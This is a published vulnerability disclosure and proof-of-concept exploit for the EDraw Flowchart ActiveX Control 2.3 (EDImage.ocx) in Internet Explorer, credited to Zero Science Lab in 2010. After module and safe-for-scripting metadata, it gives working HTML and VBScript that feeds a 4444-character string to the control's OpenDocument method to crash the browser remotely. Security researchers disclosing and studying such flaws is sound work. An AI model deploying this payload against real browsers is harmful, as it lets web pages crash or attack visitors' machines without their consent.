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 EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)


 Vendor: EdrawSoft - http://www.edrawsoft.com

 Platform Used: MS Win XP Pro SP3 (en) / IE 8.0


 CompanyName    EDrawSoft
 FileDescription  EDraw Flowchart ActiveX Control Module
 FileVersion    2, 3, 0, 6
 InternalName    EDrawSoft
 LegalCopyright    Copyright (C) 2005
 OriginalFileName  EDImage.OCX
 ProductName    EDraw Flowchart ActiveX Control Module
 ProductVersion    2, 3, 0, 6

 Report for Clsid: {F685AFD8-A5CC-410E-98E4-BAA1C559BA61}
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False


 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

 Zero Science Lab - http://www.zeroscience.mk

 liquidworm gmail com



 18.04.2010


 Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4936.php


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 <object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='thricer' />
 <script language='vbscript'>

 targetFile = "C:\PROGRA~1\EDIMAG~1\EDImage.ocx"
 prototype  = "Function OpenDocument ( ByVal filename As String ) As Boolean"
 memberName = "OpenDocument"
 progid     = "EDIMAGELib.EDImage"
 argCount   = 1

 arg1=String(4444, "J")

 thricer.OpenDocument arg1 

 </script>